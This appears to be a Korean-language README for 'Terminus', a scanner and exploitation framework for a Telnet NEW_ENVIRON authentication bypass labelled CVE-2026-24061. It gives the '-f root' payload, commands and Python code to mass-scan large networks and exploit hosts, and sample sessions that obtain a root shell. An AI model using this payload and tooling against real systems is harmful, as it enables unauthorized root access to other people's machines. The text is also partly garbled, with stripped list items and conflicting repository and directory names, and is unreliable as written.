
AsyncIO 기반 스캐너 및 CVE-2026-24061(Telnet NEW_ENVIRON 인증 우회)용 익스플로잇 프레임워크. 고동시성 탐지, 수동 핑거프린팅, 그리고 인가된 루트 셸 권한 상승 기능을 제공합니다.
CVE-2026-24061 Telnet NEW_ENVIRON 인증 우회 및 권한 상승 취약점을 위한 보안 분석 엔진입니다.

Terminus는 CVE-2026-24061의 승인된 침투 테스트 및 취약점 평가를 위해 설계된 전문 보안 연구 도구입니다. 이 치명적인 취약점은 레거시 Telnet 데몬 구현에 영향을 미치며, 비인증 원격 공격자가 인증을 우회하고 root 수준의 접근 권한을 얻을 수 있게 합니다.
CVE-2026-24061은 RFC 1572(Telnet 환경 옵션)를 지원하는 Telnet 서비스의 원격 코드 실행 취약점입니다. 이 취약점은 NEW_ENVIRON 하위 협상 중 USER 환경 변수의 부적절한 검증을 악용합니다:
USER=john → 비밀번호 요청USER=-f root → 인증 우회, root 셸 부여영향:
영향을 받는 서비스:
192.168.0.0/24, 10.0.0.0/8)--verify): 익스플로잇 증명, uid=0 root 접근 확인Terminus.handshake() - RFC 854 준수 핸드셰이크Terminus.exploit() - CVE-2026-24061 페이로드 전달--exploit 플래그 필요Terminus의 핵심은 프로토콜 처리와 익스플로잇 로직을 명확하게 분리하는 TerminusNegotiator 클래스입니다:```python
from terminus import TerminusNegotiator
negotiator = TerminusNegotiator()
await negotiator.handshake(target="192.168.1.100", port=23)
result = await negotiator.exploit(payload="-f root")
if result.success: print(f"Root shell acquired: {result.evidence['uid']}")
### 엔진 vs. 스크립트 접근 방식
**기존 스크립트** (기존 도구):```
Target → Raw Socket → Payload → Blind Execution → Hope for Shell
Terminus 엔진:``` Target → Discovery → RFC Handshake → Passive Analysis → Risk Assessment ↓ [Optional] Verified Exploitation → Evidence Collection → Report
---
## 설치
### 요구 사항
- **Python 3.10+**
- **지원 플랫폼:**
- Windows 10/11 (PowerShell)
- Windows + WSL2 (Kali Linux, Parrot OS, Ubuntu)
- 네이티브 Linux (Kali, Parrot, Ubuntu, Debian)
- macOS (Python 3.10+ 포함)
### 빠른 시작 (모든 플랫폼)
#### Windows (PowerShell)```powershell
# Clone repository
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git
# Run setup script
.\setup_env.ps1
# Activate virtual environment
.venv\Scripts\Activate.ps1
# Verify installation
terminus --version
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git cd Terminus-CVE-2025-2406
chmod +x setup_env.sh ./setup_env.sh
source venv/bin/activate
terminus --version
#### 수동 설치 (모든 플랫폼)```bash
# Clone repository
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git
cd Terrminus-CVE-2026-2406
# Create virtual environment
python3 -m venv venv
# Activate (Linux/macOS/WSL)
source venv/bin/activate
# Activate (Windows PowerShell)
# venv\Scripts\Activate.ps1
# Install dependencies
pip install -e .
# Verify
terminus --version
telnetlib3 - AsyncIO Telnet 프로토콜 구현rich - 터미널 UI 및 포맷팅 (Windows/Linux에서 ANSI 지원)pydantic - 데이터 검증 및 모델aiofiles - 비동기 파일 I/Ojinja2 - 보고서 템플릿 생성pyyaml - 구성 관리pathlib - 크로스 플랫폼 경로 처리 (내장)참고: 모든 종속성은 순수 Python이거나 크로스 플랫폼 휠을 제공합니다. 플랫폼별 컴파일이 필요하지 않습니다.
더 빠른 명령 입력을 위해 탭 완성을 활성화합니다:
_TERMINUS_COMPLETE=bash_source terminus > ~/.terminus-complete.bash echo 'source ~/.terminus-complete.bash' >> ~/.bashrc source ~/.bashrc
### Zsh```bash
_TERMINUS_COMPLETE=zsh_source terminus > ~/.terminus-complete.zsh
echo 'source ~/.terminus-complete.zsh' >> ~/.zshrc
source ~/.zshrc
_TERMINUS_COMPLETE=fish_source terminus > ~/.config/fish/completions/terminus.fish
### PowerShell```powershell
# Add to $PROFILE
_TERMINUS_COMPLETE=powershell_source terminus | Out-String | Invoke-Expression
테스트해 보세요:```bash terminus # Shows: scan, exploit, version terminus scan - # Shows: -t, -f, -p, --verify, etc.
---
## 사용법
### 스캔 모드
#### 단일 대상 스캔```bash
terminus scan -t 192.168.1.100
terminus scan -t 192.168.1.0/24
#### 파일 기반 배치 스캔```bash
# targets.txt contains one IP/CIDR per line
terminus scan -f targets.txt --threads 500
terminus scan -t 10.0.0.0/8 --threads 1000 --rate-limit 200
### 탐지 모드
#### 수동 탐지 (기본값 - 안전)```bash
terminus scan -t target.com --passive-only
terminus scan -t target.com --aggressive
#### 능동 검증 모드 (익스플로잇 증명)```bash
terminus scan -t 192.168.1.100 --verify
버전 확인:```powershell PS C:\terminus> terminus --version Terminus v1.0.0 CVE-2026-24061 Telnet NEW_ENVIRON Scanner & Exploitation Framework Signatures database: C:\terminus\signatures.db
**수동 스캔 (기본값 - 보수적 위험 평가):**```powershell
PS C:\terminus> python -m terminus scan -t 172.17.45.122 -p 2323
================================================================
TERMINUS
CVE-2026-24061 Scanner & Exploitation Framework
================================================================
Parsing 1 targets...
Found 1 valid targets
Scanning 1 targets... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% (1/1) Vulnerable: 0 0:00:00
╭────── Scan Summary ──────╮
│ CVE: CVE-2026-24061 │
│ Total Targets: 1 │
│ Scanned: 1 │
│ Failed: 0 │
│ Timeouts: 0 │
│ │
│ Vulnerability Breakdown: │
│ Critical: 0 │
│ High: 0 │
│ Medium: 0 │
│ Low: 1 │
│ Info: 0 │
│ │
│ Duration: 3.53s │
│ Avg Scan Time: 3522.22ms │
│ │
╰──────────────────────────╯
Terminus - CVE-2026-24061 Scan Results
╭───────────────┬──────┬───────────┬──────┬─────────┬─────────┬─────────────┬──────────┬───────────────╮
│ Target │ Port │ Status │ Risk │ Daemon │ Version │ NEW_ENVIRON │ Verified │ Duration (ms) │
├───────────────┼──────┼───────────┼──────┼─────────┼─────────┼─────────────┼──────────┼───────────────┤
│ 172.17.45.122 │ 2323 │ completed │ Low │ unknown │ Unknown │ YES │ - │ 3522.22 │
╰───────────────┴──────┴───────────┴──────┴─────────┴─────────┴─────────────┴──────────┴───────────────╯
No vulnerable targets found
--verify를 사용한 능동 검증 (익스플로잇 증명):```powershell PS C:\terminus> python -m terminus scan -t 172.17.45.122 -p 2323 --verify
Parsing 1 targets... Found 1 valid targets
Scanning 1 targets... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% (1/1) Vulnerable: 1 0:00:00
╭────── Scan Summary ──────╮ │ CVE: CVE-2026-24061 │ │ Total Targets: 1 │ │ Scanned: 1 │ │ Failed: 0 │ │ Timeouts: 0 │ │ │ │ Vulnerability Breakdown: │ │ Critical: 1 │ │ High: 0 │ │ Medium: 0 │ │ Low: 0 │ │ Info: 0 │ │ │ │ Duration: 8.04s │ │ Avg Scan Time: 8029.55ms │ │ │ ╰──────────────────────────╯
Terminus - CVE-2026-24061 Scan Results
╭───────────────┬──────┬───────────┬──────────┬─────────┬─────────┬─────────────┬──────────┬───────────────╮ │ Target │ Port │ Status │ Risk │ Daemon │ Version │ NEW_ENVIRON │ Verified │ Duration (ms) │ ├───────────────┼──────┼───────────┼──────────┼─────────┼─────────┼─────────────┼──────────┼───────────────┤ │ 172.17.45.122 │ 2323 │ completed │ Critical │ unknown │ Unknown │ YES │ ROOT │ 8029.55 │ ╰───────────────┴──────┴───────────┴──────────┴─────────┴─────────┴─────────────┴──────────┴───────────────╯
Found 1 vulnerable targets!
**대화형 익스플로잇:**```powershell
PS C:terminus> python -m terminus exploit -t 172.17.45.122 -p 2323 --yes
================================================================
TERMINUS
CVE-2026-24061 Scanner & Exploitation Framework
================================================================
Attempting exploitation of 172.17.45.122:2323...
Payload: -f root
CVE-2026-24061 exploitation attempt initiated with payload: -f root
CVE-2026-24061 exploitation SUCCESSFUL - root access obtained
[*] CVE-2026-24061 Interactive Shell Started
[*] Type 'exit' or press Ctrl+C to quit
whoami
root
┌──[root@parrot]─[~]
└──╼ #
주요 관찰 사항:
기능:
-f root 페이로드로 실제 악용 시도uid=0을 확인하여 루트 접근 확인사용 사례:
출력 예시:``` Target Port Status Daemon Risk Verified 192.168.1.100 23 VULNERABLE inetutils-telnetd CRITICAL ROOT ACCESS 192.168.1.101 23 VULNERABLE netkit-telnetd HIGH Not tested 192.168.1.102 23 SAFE OpenBSD-telnetd LOW N/A
**배치 검증:**```bash
terminus scan -f targets.txt --verify -o json -w verified_results.json
참고: 능동 검증은 익스플로잇을 시도합니다. 적절한 승인을 받은 경우에만 사용하세요.
terminus scan -t 192.168.1.0/24 -o json > results.json
#### HTML 보고서```bash
terminus scan -f targets.txt -o html -w report.html
terminus scan -t 10.0.0.0/24 -o csv > vulnerabilities.csv
### Exploitation (승인된 사용 전용)
#### 대화형 셸```bash
terminus exploit -t 192.168.1.100
# Requires confirmation prompt
# Grants root shell on vulnerable target
terminus exploit -t 192.168.1.100 -c "id"
#### 사용자 정의 페이로드```bash
terminus exploit -t 192.168.1.100 --payload "-f admin"
terminus update-signatures
#### 이전 결과 검증```bash
terminus verify -f results.json
terminus version
## 테스트 환경 설정
### 레드 팀용: 크로스 플랫폼 배포
**Terminus는 휴대용 배포를 위해 설계되었습니다** - 디렉터리를 Windows/Linux 시스템에 복사하고 설치 없이 실행하세요:```bash
# Copy terminus directory to target system
# No hardcoded paths - everything is relative
# Run directly (no installation needed)
cd terminus
python3 -m terminus scan -t 192.168.1.0/24
# All output stays in project directory:
# - Logs: ./logs/terminus.log
# - Reports: ./reports/
# - Config: ./config.yaml
Windows 레드팀 워크스테이션에 권장 - 취약한 테스트 서비스를 배포하기 위한 격리된 Linux 환경:
wsl --install
wsl --install -d kali-linux
wsl -l -v
#### WSL2 내부 (Kali/Parrot)```bash
# Update system
sudo apt update && sudo apt upgrade -y
# Install Terminus dependencies
sudo apt install python3 python3-pip python3-venv
# Install testing tools
sudo apt install netkit-telnetd telnetd wireshark tcpdump
# Clone and setup Terminus
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406
cd Terminusb-CVE-2026-2406
./setup_env.sh
source venv/bin/activate
경고: 격리된 실습 환경에서만 사용하세요. 절대 프로덕션 시스템에서는 사용하지 마세요.```bash
sudo apt install netkit-telnetd=0.17-*
sudo systemctl restart inetd
### 크로스 플랫폼 테스트 매트릭스
Red Team에서 사용하는 모든 플랫폼에서 Terminus를 테스트하세요:
| 플랫폼 | 설치 | 스캐닝 | 익스플로잇 |
|----------|-------------|----------|--------------|
| Windows 10/11 (PowerShell) | 예 | 예 | 예 |
| WSL2 - Kali Linux | 예 | 예 | 예 |
| WSL2 - Parrot OS | 예 | 예 | 예 |
| WSL2 - Ubuntu | 예 | 예 | 예 |
| 네이티브 Kali Linux | 예 | 예 | 예 |
| 네이티브 Parrot OS | 예 | 예 | 예 |
| macOS | 예 | 예 | 예 |
---
## API 참조
### Python 통합```python
import asyncio
from terminus import TerminusScanner, TerminusExploiter, TerminusNegotiator
from terminus.reporting.models import RiskScore
async def scan_network():
# High-level scanner
async with TerminusScanner() as scanner:
async for result in scanner.scan_targets(["192.168.1.0/24"]):
if result.risk_score == RiskScore.CRITICAL:
print(f"CRITICAL: {result.target}")
print(f" Daemon: {result.daemon_type} {result.version}")
print(f" Confidence: {result.vulnerability_confidence:.2%}")
async def exploit_target():
# Direct engine usage
negotiator = TerminusNegotiator()
# Handshake
success = await negotiator.handshake(target="192.168.1.100", port=23)
if not success:
print("Handshake failed")
return
# Exploit
result = await negotiator.exploit(payload="-f root")
if result.success:
print(f"Root access obtained")
print(f"Evidence: {result.evidence}")
# Run
asyncio.run(scan_network())
이 도구는 다음 용도로만 사용해야 합니다:
무단 사용은 불법이며 비윤리적입니다.
--exploit 플래그가 필요합니다Terminus를 사용하여 취약한 시스템을 발견한 경우:
모든 경로는 프로젝트 루트 기준 상대 경로입니다 - 수정 없이 Windows, Linux 및 WSL에서 작동합니다:```yaml
scanner: default_port: 23 connect_timeout: 3.0 handshake_timeout: 5.0 max_concurrent: 1000 rate_limit: 100 # connections/second
detection: passive_only: true # Safe mode by default banner_timeout: 2.0 heuristic_checks: true
signatures_db: "./signatures.db"
exploit: require_authorization: true default_payload: "-f root" evidence_collection: true interactive_shell: true
reporting: default_format: "terminal" include_safe_targets: false verbosity: "normal"
output_dir: "./reports"
logging: level: "INFO"
file: "./logs/terminus.log" format: "json" console_enabled: true